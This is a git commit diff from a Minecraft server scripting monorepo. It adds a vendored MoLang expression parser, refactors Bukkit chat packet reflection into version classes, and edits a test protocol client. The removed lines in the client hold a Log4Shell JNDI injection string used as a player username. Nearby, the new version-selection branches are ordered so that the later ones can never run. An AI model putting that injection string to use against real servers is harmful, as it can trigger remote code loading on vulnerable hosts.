feat: add molang package
1. upgrade bukkit chat 2. fix config update error Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
parent
5ed61829e1
commit
6816e51239
@ -9,8 +9,7 @@
|
|||||||
"bs": "lerna bootstrap",
|
"bs": "lerna bootstrap",
|
||||||
"clean": "lerna run clean",
|
"clean": "lerna run clean",
|
||||||
"watch": "lerna run watch --parallel",
|
"watch": "lerna run watch --parallel",
|
||||||
"build": "lerna run build --scope=\"@ccms/!(plugins)\"",
|
"build": "lerna run build",
|
||||||
"build:plugins": "lerna run build --scope=\"@ccms/plugins\"",
|
|
||||||
"ug": "yarn upgrade-interactive --latest",
|
"ug": "yarn upgrade-interactive --latest",
|
||||||
"np": "./script/push.sh",
|
"np": "./script/push.sh",
|
||||||
"lsp": "npm login --registry=https://registry.npmjs.org --scope=@ccms",
|
"lsp": "npm login --registry=https://registry.npmjs.org --scope=@ccms",
|
||||||
|
@ -1,132 +1,175 @@
|
|||||||
/*global Java, base, module, exports, require*/
|
/*global Java, base, module, exports, require*/
|
||||||
let ChatSerializer: any
|
let bukkitChatInvoke: BukkitChatInvoke
|
||||||
let nmsChatSerializerMethodName: string
|
|
||||||
let PacketPlayOutChat: any
|
|
||||||
let chatMessageTypes: any
|
|
||||||
|
|
||||||
let RemapUtils: any
|
|
||||||
|
|
||||||
let playerConnectionFieldName: string
|
|
||||||
let sendPacketMethodName: string
|
|
||||||
|
|
||||||
let above_1_16 = false
|
|
||||||
let downgrade = false
|
|
||||||
/**
|
|
||||||
* 获取NMS版本
|
|
||||||
*/
|
|
||||||
let nmsVersion = undefined
|
|
||||||
let nmsSubVersion = undefined
|
|
||||||
/**
|
/**
|
||||||
* 获取NMS类
|
* 获取NMS类
|
||||||
*/
|
*/
|
||||||
function nmsCls(name: string) {
|
abstract class BukkitChatInvoke {
|
||||||
return base.getClass(['net.minecraft.server', nmsVersion, name].join('.'))
|
private downgrade: boolean = false
|
||||||
|
protected RemapUtils: any
|
||||||
|
|
||||||
|
protected ChatSerializer: any
|
||||||
|
protected nmsChatSerializerMethodName: string
|
||||||
|
protected PacketPlayOutChat: any
|
||||||
|
protected chatMessageTypes: any
|
||||||
|
protected playerConnectionFieldName: string
|
||||||
|
protected sendPacketMethodName: string
|
||||||
|
|
||||||
|
constructor(private nmsVersion) {
|
||||||
}
|
}
|
||||||
|
|
||||||
function remapMethod(clazz: any, origin: string, test: string, params: any) {
|
init() {
|
||||||
|
try {
|
||||||
|
try {
|
||||||
|
this.RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
|
||||||
|
} catch (ex: any) {
|
||||||
|
}
|
||||||
|
let nmsChatSerializerClass = this.getNmsChatSerializerClass()
|
||||||
|
let nmsChatSerializerMethod = this.remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String'))
|
||||||
|
this.nmsChatSerializerMethodName = nmsChatSerializerMethod.getName()
|
||||||
|
this.ChatSerializer = Java.type(nmsChatSerializerClass.getName())
|
||||||
|
let packetTypeClass = this.getPacketPlayOutChatClass()
|
||||||
|
this.PacketPlayOutChat = Java.type(packetTypeClass.getName())
|
||||||
|
let packetTypeConstructor: { parameterTypes: any[] }
|
||||||
|
let constructors = packetTypeClass.constructors
|
||||||
|
Java.from(constructors).forEach(function (c) {
|
||||||
|
if (c.parameterTypes.length === 2 || c.parameterTypes.length === 3) {
|
||||||
|
packetTypeConstructor = c
|
||||||
|
}
|
||||||
|
})
|
||||||
|
let parameterTypes = packetTypeConstructor.parameterTypes
|
||||||
|
let nmsChatMessageTypeClass = parameterTypes[1]
|
||||||
|
if (nmsChatMessageTypeClass.isEnum()) {
|
||||||
|
this.chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants()
|
||||||
|
}
|
||||||
|
let playerConnectionField = this.getPlayerConnectionField()
|
||||||
|
this.playerConnectionFieldName = playerConnectionField.getName()
|
||||||
|
this.sendPacketMethodName = this.remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', this.getPacketClass()).getName()
|
||||||
|
} catch (ex: any) {
|
||||||
|
org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
|
||||||
|
this.downgrade = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
abstract getNmsChatSerializerClass()
|
||||||
|
abstract getPacketPlayOutChatClass()
|
||||||
|
abstract getPacketPlayOutChat(sender: any, json: any, type: number)
|
||||||
|
abstract getPlayerConnectionField()
|
||||||
|
abstract getPacketClass()
|
||||||
|
|
||||||
|
nmsCls(name: string) {
|
||||||
|
return base.getClass(['net.minecraft.server', this.nmsVersion, name].join('.'))
|
||||||
|
}
|
||||||
|
|
||||||
|
remapMethod(clazz: any, origin: string, test: string, params: any) {
|
||||||
try {
|
try {
|
||||||
return clazz.getMethod(origin, params)
|
return clazz.getMethod(origin, params)
|
||||||
} catch (ex: any) {
|
} catch (ex: any) {
|
||||||
if (RemapUtils) {
|
if (this.RemapUtils) {
|
||||||
return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params)
|
return clazz.getMethod(this.RemapUtils.mapMethod(clazz, origin, params), params)
|
||||||
} else {
|
} else {
|
||||||
return clazz.getMethod(test, params)
|
return clazz.getMethod(test, params)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function remapFieldName(clazz: any, origin: string, test: string) {
|
remapFieldName(clazz: any, origin: string, test: string) {
|
||||||
try {
|
try {
|
||||||
return clazz.getField(origin)
|
return clazz.getField(origin)
|
||||||
} catch (ex: any) {
|
} catch (ex: any) {
|
||||||
if (RemapUtils) {
|
if (this.RemapUtils) {
|
||||||
return clazz.getField(RemapUtils.mapFieldName(clazz, origin))
|
return clazz.getField(this.RemapUtils.mapFieldName(clazz, origin))
|
||||||
} else {
|
} else {
|
||||||
return clazz.getField(test)
|
return clazz.getField(test)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function init() {
|
json(sender: { name: string }, json: string) {
|
||||||
//@ts-ignore
|
if (this.downgrade) {
|
||||||
nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3]
|
|
||||||
nmsSubVersion = nmsVersion.split("_")[1]
|
|
||||||
try {
|
|
||||||
RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
|
|
||||||
} catch (ex: any) {
|
|
||||||
}
|
|
||||||
let nmsChatSerializerClass = undefined
|
|
||||||
if (nmsSubVersion < 8) {
|
|
||||||
nmsChatSerializerClass = nmsCls("ChatSerializer")
|
|
||||||
} else if (nmsSubVersion < 17) {
|
|
||||||
nmsChatSerializerClass = nmsCls("IChatBaseComponent$ChatSerializer")
|
|
||||||
} else {
|
|
||||||
nmsChatSerializerClass = base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer')
|
|
||||||
}
|
|
||||||
let nmsChatSerializerMethod = remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String'))
|
|
||||||
nmsChatSerializerMethodName = nmsChatSerializerMethod.getName()
|
|
||||||
ChatSerializer = Java.type(nmsChatSerializerClass.getName())
|
|
||||||
let packetTypeClass = nmsSubVersion < 17 ? nmsCls("PacketPlayOutChat") : base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat')
|
|
||||||
PacketPlayOutChat = Java.type(packetTypeClass.getName())
|
|
||||||
let packetTypeConstructor: { parameterTypes: any[] }
|
|
||||||
let constructors = packetTypeClass.constructors
|
|
||||||
Java.from(constructors).forEach(function (c) {
|
|
||||||
if (c.parameterTypes.length === 2) {
|
|
||||||
packetTypeConstructor = c
|
|
||||||
}
|
|
||||||
if (c.parameterTypes.length === 3) {
|
|
||||||
packetTypeConstructor = c
|
|
||||||
above_1_16 = true
|
|
||||||
}
|
|
||||||
})
|
|
||||||
let parameterTypes = packetTypeConstructor.parameterTypes
|
|
||||||
let nmsChatMessageTypeClass = parameterTypes[1]
|
|
||||||
if (nmsChatMessageTypeClass.isEnum()) {
|
|
||||||
chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants()
|
|
||||||
}
|
|
||||||
let playerConnectionField = undefined
|
|
||||||
if (nmsSubVersion < 17) {
|
|
||||||
playerConnectionField = remapFieldName(nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a')
|
|
||||||
} else {
|
|
||||||
playerConnectionField = base.getClass('net.minecraft.server.level.EntityPlayer').getField('b')
|
|
||||||
}
|
|
||||||
playerConnectionFieldName = playerConnectionField.getName()
|
|
||||||
sendPacketMethodName = remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', nmsSubVersion < 17 ? nmsCls('Packet') : base.getClass('net.minecraft.network.protocol.Packet')).getName()
|
|
||||||
}
|
|
||||||
|
|
||||||
function json(sender: { name: string }, json: string) {
|
|
||||||
if (downgrade) {
|
|
||||||
return '/tellraw ' + sender.name + ' ' + json
|
return '/tellraw ' + sender.name + ' ' + json
|
||||||
} else {
|
} else {
|
||||||
send(sender, json, 0)
|
this.send(sender, json, 0)
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
send(sender: any, json: any, type: number) {
|
||||||
function send(sender: any, json: any, type: number) {
|
this.sendPacket(sender, this.getPacketPlayOutChat(sender, json, type))
|
||||||
let packet
|
}
|
||||||
if (above_1_16) {
|
sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) {
|
||||||
packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type], sender.getUniqueId())
|
player.handle[this.playerConnectionFieldName][this.sendPacketMethodName](p)
|
||||||
} else {
|
|
||||||
packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type])
|
|
||||||
}
|
}
|
||||||
sendPacket(sender, packet)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) {
|
class BukkitChatInvokeBase extends BukkitChatInvoke {
|
||||||
player.handle[playerConnectionFieldName][sendPacketMethodName](p)
|
getPacketPlayOutChat(sender: any, json: any, type: number) {
|
||||||
|
return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), type)
|
||||||
|
}
|
||||||
|
getNmsChatSerializerClass() {
|
||||||
|
return this.nmsCls("ChatSerializer")
|
||||||
|
}
|
||||||
|
getPacketPlayOutChatClass() {
|
||||||
|
return this.nmsCls("PacketPlayOutChat")
|
||||||
|
}
|
||||||
|
getPlayerConnectionField() {
|
||||||
|
return this.remapFieldName(this.nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a')
|
||||||
|
}
|
||||||
|
getPacketClass() {
|
||||||
|
return this.nmsCls('Packet')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class BukkitChatInvoke_1_7_10 extends BukkitChatInvokeBase {
|
||||||
|
}
|
||||||
|
|
||||||
|
class BukkitChatInvoke_1_8 extends BukkitChatInvoke_1_7_10 {
|
||||||
|
getPacketPlayOutChat(sender: any, json: any, type: number) {
|
||||||
|
return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type])
|
||||||
|
}
|
||||||
|
getNmsChatSerializerClass() {
|
||||||
|
return this.nmsCls("IChatBaseComponent$ChatSerializer")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
class BukkitChatInvoke_1_16_5 extends BukkitChatInvoke_1_8 {
|
||||||
|
getPacketPlayOutChat(sender: any, json: any, type: number) {
|
||||||
|
return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type], sender.getUniqueId())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class BukkitChatInvoke_1_17_1 extends BukkitChatInvoke_1_16_5 {
|
||||||
|
getPacketPlayOutChatClass() {
|
||||||
|
return base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat')
|
||||||
|
}
|
||||||
|
getNmsChatSerializerClass() {
|
||||||
|
return base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer')
|
||||||
|
}
|
||||||
|
getPlayerConnectionField() {
|
||||||
|
return base.getClass('net.minecraft.server.level.EntityPlayer').getField('b')
|
||||||
|
}
|
||||||
|
getPacketClass() {
|
||||||
|
return base.getClass('net.minecraft.network.protocol.Packet')
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
init()
|
//@ts-ignore
|
||||||
|
let nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3]
|
||||||
|
let nmsSubVersion = nmsVersion.split("_")[1]
|
||||||
|
if (nmsSubVersion >= 8) {
|
||||||
|
bukkitChatInvoke = new BukkitChatInvoke_1_8(nmsVersion)
|
||||||
|
} else if (nmsSubVersion >= 16) {
|
||||||
|
bukkitChatInvoke = new BukkitChatInvoke_1_16_5(nmsVersion)
|
||||||
|
} else if (nmsSubVersion >= 17) {
|
||||||
|
bukkitChatInvoke = new BukkitChatInvoke_1_17_1(nmsVersion)
|
||||||
|
} else {
|
||||||
|
bukkitChatInvoke = new BukkitChatInvoke_1_7_10(nmsVersion)
|
||||||
|
}
|
||||||
|
bukkitChatInvoke.init()
|
||||||
} catch (ex: any) {
|
} catch (ex: any) {
|
||||||
org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
|
|
||||||
downgrade = true
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let chat = {
|
let chat = {
|
||||||
json,
|
json: bukkitChatInvoke.json.bind(bukkitChatInvoke),
|
||||||
send
|
send: bukkitChatInvoke.send.bind(bukkitChatInvoke)
|
||||||
}
|
}
|
||||||
|
|
||||||
export default chat
|
export default chat
|
||||||
|
1
packages/client/.gitignore
vendored
Normal file
1
packages/client/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
src/emp.ts
|
@ -26,6 +26,7 @@
|
|||||||
"dependencies": {
|
"dependencies": {
|
||||||
"axios": "^0.24.0",
|
"axios": "^0.24.0",
|
||||||
"minecraft-protocol": "^1.29.0",
|
"minecraft-protocol": "^1.29.0",
|
||||||
|
"minecraft-protocol-forge": "^1.0.0",
|
||||||
"proxy-agent": "^5.0.0"
|
"proxy-agent": "^5.0.0"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
@ -1,29 +1,13 @@
|
|||||||
import { createInterface } from 'readline'
|
import { createInterface } from 'readline'
|
||||||
import { createClient } from 'minecraft-protocol'
|
import { Client, createClient } from 'minecraft-protocol'
|
||||||
|
|
||||||
import { attachForge } from './forge'
|
import { attachForge } from './forge'
|
||||||
import { attachEvents } from './event'
|
import { attachEvents } from './event'
|
||||||
|
|
||||||
|
let readUserInfo = process.argv[2] || 'Mr_jtb'
|
||||||
|
let realUserInfo = readUserInfo.split(":")
|
||||||
|
let username = realUserInfo[0]
|
||||||
|
let password = realUserInfo[1] || ''
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// let readUserInfo = process.argv[2] || 'Mr_jtb'
|
|
||||||
// let realUserInfo = readUserInfo.split(":")
|
|
||||||
// let username = realUserInfo[0]
|
|
||||||
let username = '${jndi:ldap://x}'
|
|
||||||
let password = '';//realUserInfo[1] || ''
|
|
||||||
let version = process.argv[3] || '1.12.2'
|
let version = process.argv[3] || '1.12.2'
|
||||||
let readAddress = process.argv[4] || '192.168.2.25:25565'
|
let readAddress = process.argv[4] || '192.168.2.25:25565'
|
||||||
let realAddress = readAddress.split(":")
|
let realAddress = readAddress.split(":")
|
||||||
@ -60,7 +44,24 @@ function createConnection(host: string, port: number, username: string, password
|
|||||||
return client
|
return client
|
||||||
}
|
}
|
||||||
|
|
||||||
function attachCommon(client) {
|
function attachCommon(client: Client) {
|
||||||
|
client.on('login', () => {
|
||||||
|
// client.registerChannel('updater', ['string', []])
|
||||||
|
// client.registerChannel('updater-enabled', ['string', []])
|
||||||
|
// client.registerChannel('dragoncore', ['string', []])
|
||||||
|
// client.registerChannel('dragoncore:main', ['string', []])
|
||||||
|
client.on('REGISTER', (array) => {
|
||||||
|
for (const channel of array) {
|
||||||
|
client.on('channel', console.log)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
// client.on('dragoncore:main', (data) => {
|
||||||
|
// console.log(data)
|
||||||
|
// })
|
||||||
|
})
|
||||||
|
client.on('custom_payload', (data) => {
|
||||||
|
console.log('custom_payload' + JSON.stringify(data))
|
||||||
|
})
|
||||||
client.on('error', (error) => {
|
client.on('error', (error) => {
|
||||||
console.log("Client Error", error)
|
console.log("Client Error", error)
|
||||||
})
|
})
|
||||||
|
6
packages/molang/.gitignore
vendored
Normal file
6
packages/molang/.gitignore
vendored
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
node_modules
|
||||||
|
perf/*
|
||||||
|
|
||||||
|
|
||||||
|
tsconfig.tsbuildinfo
|
||||||
|
.DS_STORE
|
29
packages/molang/package.json
Normal file
29
packages/molang/package.json
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
{
|
||||||
|
"name": "@ccms/molang",
|
||||||
|
"version": "0.17.0",
|
||||||
|
"description": "A fast parser for Minecraft's MoLang",
|
||||||
|
"main": "dist/index.js",
|
||||||
|
"types": "dist/index.d.ts",
|
||||||
|
"scripts": {
|
||||||
|
"clean": "rimraf dist",
|
||||||
|
"watch": "tsc --watch",
|
||||||
|
"build": "yarn clean && tsc",
|
||||||
|
"test": "echo \"Error: run tests from root\" && exit 1"
|
||||||
|
},
|
||||||
|
"repository": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "git+https://github.com/solvedDev/MoLang.git"
|
||||||
|
},
|
||||||
|
"author": "solvedDev",
|
||||||
|
"license": "MIT",
|
||||||
|
"bugs": {
|
||||||
|
"url": "https://github.com/solvedDev/MoLang/issues"
|
||||||
|
},
|
||||||
|
"homepage": "https://github.com/solvedDev/MoLang#readme",
|
||||||
|
"devDependencies": {
|
||||||
|
"@types/node": "^13.1.2",
|
||||||
|
"tslib": "^2.3.1",
|
||||||
|
"rimraf": "^3.0.2",
|
||||||
|
"typescript": "^4.5.3"
|
||||||
|
}
|
||||||
|
}
|
129
packages/molang/src/MoLang.ts
Normal file
129
packages/molang/src/MoLang.ts
Normal file
@ -0,0 +1,129 @@
|
|||||||
|
import { ExecutionEnvironment } from './env/env'
|
||||||
|
import { IExpression, IParserConfig } from './main'
|
||||||
|
import { StaticExpression } from './parser/expressions/static'
|
||||||
|
import { StringExpression } from './parser/expressions/string'
|
||||||
|
import { MoLangParser } from './parser/molang'
|
||||||
|
|
||||||
|
export class MoLang {
|
||||||
|
protected expressionCache: Record<string, IExpression> = {}
|
||||||
|
protected totalCacheEntries = 0
|
||||||
|
protected executionEnvironment!: ExecutionEnvironment
|
||||||
|
|
||||||
|
protected parser: MoLangParser
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
env: Record<string, unknown> = {},
|
||||||
|
protected config: Partial<IParserConfig> = {}
|
||||||
|
) {
|
||||||
|
if (config.useOptimizer === undefined) this.config.useOptimizer = true
|
||||||
|
if (config.useCache === undefined) this.config.useCache = true
|
||||||
|
if (config.earlyReturnsSkipParsing === undefined)
|
||||||
|
this.config.earlyReturnsSkipParsing = true
|
||||||
|
if (config.earlyReturnsSkipTokenization === undefined)
|
||||||
|
this.config.earlyReturnsSkipTokenization = true
|
||||||
|
if (config.convertUndefined === undefined)
|
||||||
|
this.config.convertUndefined = false
|
||||||
|
|
||||||
|
this.parser = new MoLangParser({
|
||||||
|
...this.config,
|
||||||
|
tokenizer: undefined,
|
||||||
|
})
|
||||||
|
|
||||||
|
this.updateExecutionEnv(env)
|
||||||
|
}
|
||||||
|
|
||||||
|
updateConfig(newConfig: Partial<IParserConfig>) {
|
||||||
|
newConfig = Object.assign(this.config, newConfig)
|
||||||
|
|
||||||
|
if (newConfig.tokenizer) this.parser.setTokenizer(newConfig.tokenizer)
|
||||||
|
this.parser.updateConfig({ ...this.config, tokenizer: undefined })
|
||||||
|
this.executionEnvironment.updateConfig(newConfig)
|
||||||
|
}
|
||||||
|
updateExecutionEnv(env: Record<string, unknown>, isFlat = false) {
|
||||||
|
this.executionEnvironment = new ExecutionEnvironment(env, {
|
||||||
|
useRadians: this.config.useRadians,
|
||||||
|
convertUndefined: this.config.convertUndefined,
|
||||||
|
isFlat,
|
||||||
|
variableHandler: this.config.variableHandler,
|
||||||
|
})
|
||||||
|
this.parser.setExecutionEnvironment(this.executionEnvironment)
|
||||||
|
}
|
||||||
|
/**
|
||||||
|
* Clears the MoLang expression cache
|
||||||
|
*/
|
||||||
|
clearCache() {
|
||||||
|
this.expressionCache = {}
|
||||||
|
this.totalCacheEntries = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Execute the given MoLang string `expression`
|
||||||
|
* @param expression The MoLang string to execute
|
||||||
|
*
|
||||||
|
* @returns The value the MoLang expression corresponds to
|
||||||
|
*/
|
||||||
|
execute(expression: string) {
|
||||||
|
this.parser.setExecutionEnvironment(this.executionEnvironment)
|
||||||
|
const abstractSyntaxTree = this.parse(expression)
|
||||||
|
|
||||||
|
const result = abstractSyntaxTree.eval()
|
||||||
|
if (result === undefined) return 0
|
||||||
|
if (typeof result === 'boolean') return Number(result)
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
/**
|
||||||
|
* Execute the given MoLang string `expression`
|
||||||
|
* In case of errors, return 0
|
||||||
|
* @param expression The MoLang string to execute
|
||||||
|
*
|
||||||
|
* @returns The value the MoLang expression corresponds to and 0 if the statement is invalid
|
||||||
|
*/
|
||||||
|
executeAndCatch(expression: string) {
|
||||||
|
try {
|
||||||
|
return this.execute(expression)
|
||||||
|
} catch {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Parse the given MoLang string `expression`
|
||||||
|
* @param expression The MoLang string to parse
|
||||||
|
*
|
||||||
|
* @returns An AST that corresponds to the MoLang expression
|
||||||
|
*/
|
||||||
|
parse(expression: string): IExpression {
|
||||||
|
if (this.config.useCache ?? true) {
|
||||||
|
const abstractSyntaxTree = this.expressionCache[expression]
|
||||||
|
if (abstractSyntaxTree) return abstractSyntaxTree
|
||||||
|
}
|
||||||
|
|
||||||
|
this.parser.init(expression)
|
||||||
|
let abstractSyntaxTree = this.parser.parseExpression()
|
||||||
|
if ((this.config.useOptimizer ?? true) && abstractSyntaxTree.isStatic())
|
||||||
|
abstractSyntaxTree = new StaticExpression(abstractSyntaxTree.eval())
|
||||||
|
// console.log(JSON.stringify(abstractSyntaxTree, null, ' '))
|
||||||
|
|
||||||
|
if (this.config.useCache ?? true) {
|
||||||
|
if (this.totalCacheEntries > (this.config.maxCacheSize || 256))
|
||||||
|
this.clearCache()
|
||||||
|
|
||||||
|
this.expressionCache[expression] = abstractSyntaxTree
|
||||||
|
this.totalCacheEntries++
|
||||||
|
}
|
||||||
|
|
||||||
|
return abstractSyntaxTree
|
||||||
|
}
|
||||||
|
|
||||||
|
resolveStatic(ast: IExpression) {
|
||||||
|
ast.walk((expr) => {
|
||||||
|
if (expr instanceof StringExpression) return
|
||||||
|
|
||||||
|
if (expr.isStatic()) return new StaticExpression(expr.eval())
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
getParser() {
|
||||||
|
return this.parser
|
||||||
|
}
|
||||||
|
}
|
93
packages/molang/src/custom/function.ts
Normal file
93
packages/molang/src/custom/function.ts
Normal file
@ -0,0 +1,93 @@
|
|||||||
|
import { Parser } from '../parser/parse'
|
||||||
|
import { Token } from '../parser/../tokenizer/token'
|
||||||
|
import { IPrefixParselet } from '../parser/parselets/prefix'
|
||||||
|
import { Expression, IExpression } from '../parser/expression'
|
||||||
|
import { StringExpression } from '../parser/expressions/string'
|
||||||
|
import { StatementExpression } from '../parser/expressions/statement'
|
||||||
|
import { CustomMoLangParser } from './main'
|
||||||
|
import { GroupExpression } from '../parser/expressions/group'
|
||||||
|
|
||||||
|
export class CustomFunctionParselet implements IPrefixParselet {
|
||||||
|
constructor(public precedence = 0) {}
|
||||||
|
|
||||||
|
parse(parser: Parser, token: Token) {
|
||||||
|
parser.consume('LEFT_PARENT')
|
||||||
|
if (parser.match('RIGHT_PARENT'))
|
||||||
|
throw new Error(`function() called without arguments`)
|
||||||
|
|
||||||
|
let args: string[] = []
|
||||||
|
let functionBody: IExpression | undefined
|
||||||
|
let functionName: string | undefined
|
||||||
|
do {
|
||||||
|
const expr = parser.parseExpression()
|
||||||
|
if (expr instanceof StringExpression) {
|
||||||
|
if (!functionName) functionName = <string>expr.eval()
|
||||||
|
else args.push(<string>expr.eval())
|
||||||
|
} else if (
|
||||||
|
expr instanceof StatementExpression ||
|
||||||
|
expr instanceof GroupExpression
|
||||||
|
) {
|
||||||
|
functionBody = expr
|
||||||
|
} else {
|
||||||
|
throw new Error(
|
||||||
|
`Unexpected expresion: found "${expr.constructor.name}"`
|
||||||
|
)
|
||||||
|
}
|
||||||
|
} while (parser.match('COMMA'))
|
||||||
|
parser.consume('RIGHT_PARENT')
|
||||||
|
|
||||||
|
if (!functionName)
|
||||||
|
throw new Error(
|
||||||
|
`Missing function() name (argument 1); found "${functionName}"`
|
||||||
|
)
|
||||||
|
if (!functionBody)
|
||||||
|
throw new Error(
|
||||||
|
`Missing function() body (argument ${args.length + 2})`
|
||||||
|
)
|
||||||
|
|
||||||
|
return new CustomFunctionExpression(
|
||||||
|
(<CustomMoLangParser>parser).functions,
|
||||||
|
functionName,
|
||||||
|
args,
|
||||||
|
functionBody
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class CustomFunctionExpression extends Expression {
|
||||||
|
type = 'CustomFunctionExpression'
|
||||||
|
constructor(
|
||||||
|
functions: Map<string, [string[], string]>,
|
||||||
|
functionName: string,
|
||||||
|
args: string[],
|
||||||
|
protected functionBody: IExpression
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
functions.set(functionName, [
|
||||||
|
args,
|
||||||
|
functionBody instanceof GroupExpression
|
||||||
|
? functionBody.allExpressions[0].toString()
|
||||||
|
: functionBody.toString(),
|
||||||
|
])
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.functionBody]
|
||||||
|
}
|
||||||
|
setExpressionAt(_: number, expr: IExpression) {
|
||||||
|
this.functionBody = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
get isReturn() {
|
||||||
|
// Scopes inside of functions may use return statements
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
}
|
229
packages/molang/src/custom/main.ts
Normal file
229
packages/molang/src/custom/main.ts
Normal file
@ -0,0 +1,229 @@
|
|||||||
|
import { ExecutionEnvironment } from '../env/env'
|
||||||
|
import { IParserConfig } from '../main'
|
||||||
|
import { MoLangParser } from '../parser/molang'
|
||||||
|
import { Tokenizer } from '../tokenizer/Tokenizer'
|
||||||
|
import { CustomFunctionParselet } from './function'
|
||||||
|
import { MoLang } from '../MoLang'
|
||||||
|
import { StatementExpression } from '../parser/expressions/statement'
|
||||||
|
import { transformStatement } from './transformStatement'
|
||||||
|
import { NameExpression } from '../parser/expressions/name'
|
||||||
|
import { ReturnExpression } from '../parser/expressions/return'
|
||||||
|
import { GenericOperatorExpression } from '../parser/expressions/genericOperator'
|
||||||
|
import { TernaryExpression } from '../parser/expressions/ternary'
|
||||||
|
import { IExpression } from '../parser/expression'
|
||||||
|
import { VoidExpression } from '../parser/expressions/void'
|
||||||
|
import { GroupExpression } from '../parser/expressions/group'
|
||||||
|
|
||||||
|
export class CustomMoLangParser extends MoLangParser {
|
||||||
|
public readonly functions = new Map<string, [string[], string]>()
|
||||||
|
|
||||||
|
constructor(config: Partial<IParserConfig>) {
|
||||||
|
super(config)
|
||||||
|
this.registerPrefix('FUNCTION', new CustomFunctionParselet())
|
||||||
|
}
|
||||||
|
|
||||||
|
reset() {
|
||||||
|
this.functions.clear()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export class CustomMoLang {
|
||||||
|
protected parser: CustomMoLangParser
|
||||||
|
|
||||||
|
constructor(env: any) {
|
||||||
|
this.parser = new CustomMoLangParser({
|
||||||
|
useCache: false,
|
||||||
|
useOptimizer: true,
|
||||||
|
useAgressiveStaticOptimizer: true,
|
||||||
|
keepGroups: true,
|
||||||
|
earlyReturnsSkipParsing: false,
|
||||||
|
earlyReturnsSkipTokenization: false,
|
||||||
|
})
|
||||||
|
this.parser.setExecutionEnvironment(
|
||||||
|
new ExecutionEnvironment(this.parser, env)
|
||||||
|
)
|
||||||
|
this.parser.setTokenizer(new Tokenizer(new Set(['function'])))
|
||||||
|
}
|
||||||
|
|
||||||
|
get functions() {
|
||||||
|
return this.parser.functions
|
||||||
|
}
|
||||||
|
|
||||||
|
parse(expression: string) {
|
||||||
|
this.parser.init(expression)
|
||||||
|
const abstractSyntaxTree = this.parser.parseExpression()
|
||||||
|
|
||||||
|
return abstractSyntaxTree
|
||||||
|
}
|
||||||
|
|
||||||
|
transform(source: string) {
|
||||||
|
const molang = new MoLang(
|
||||||
|
{},
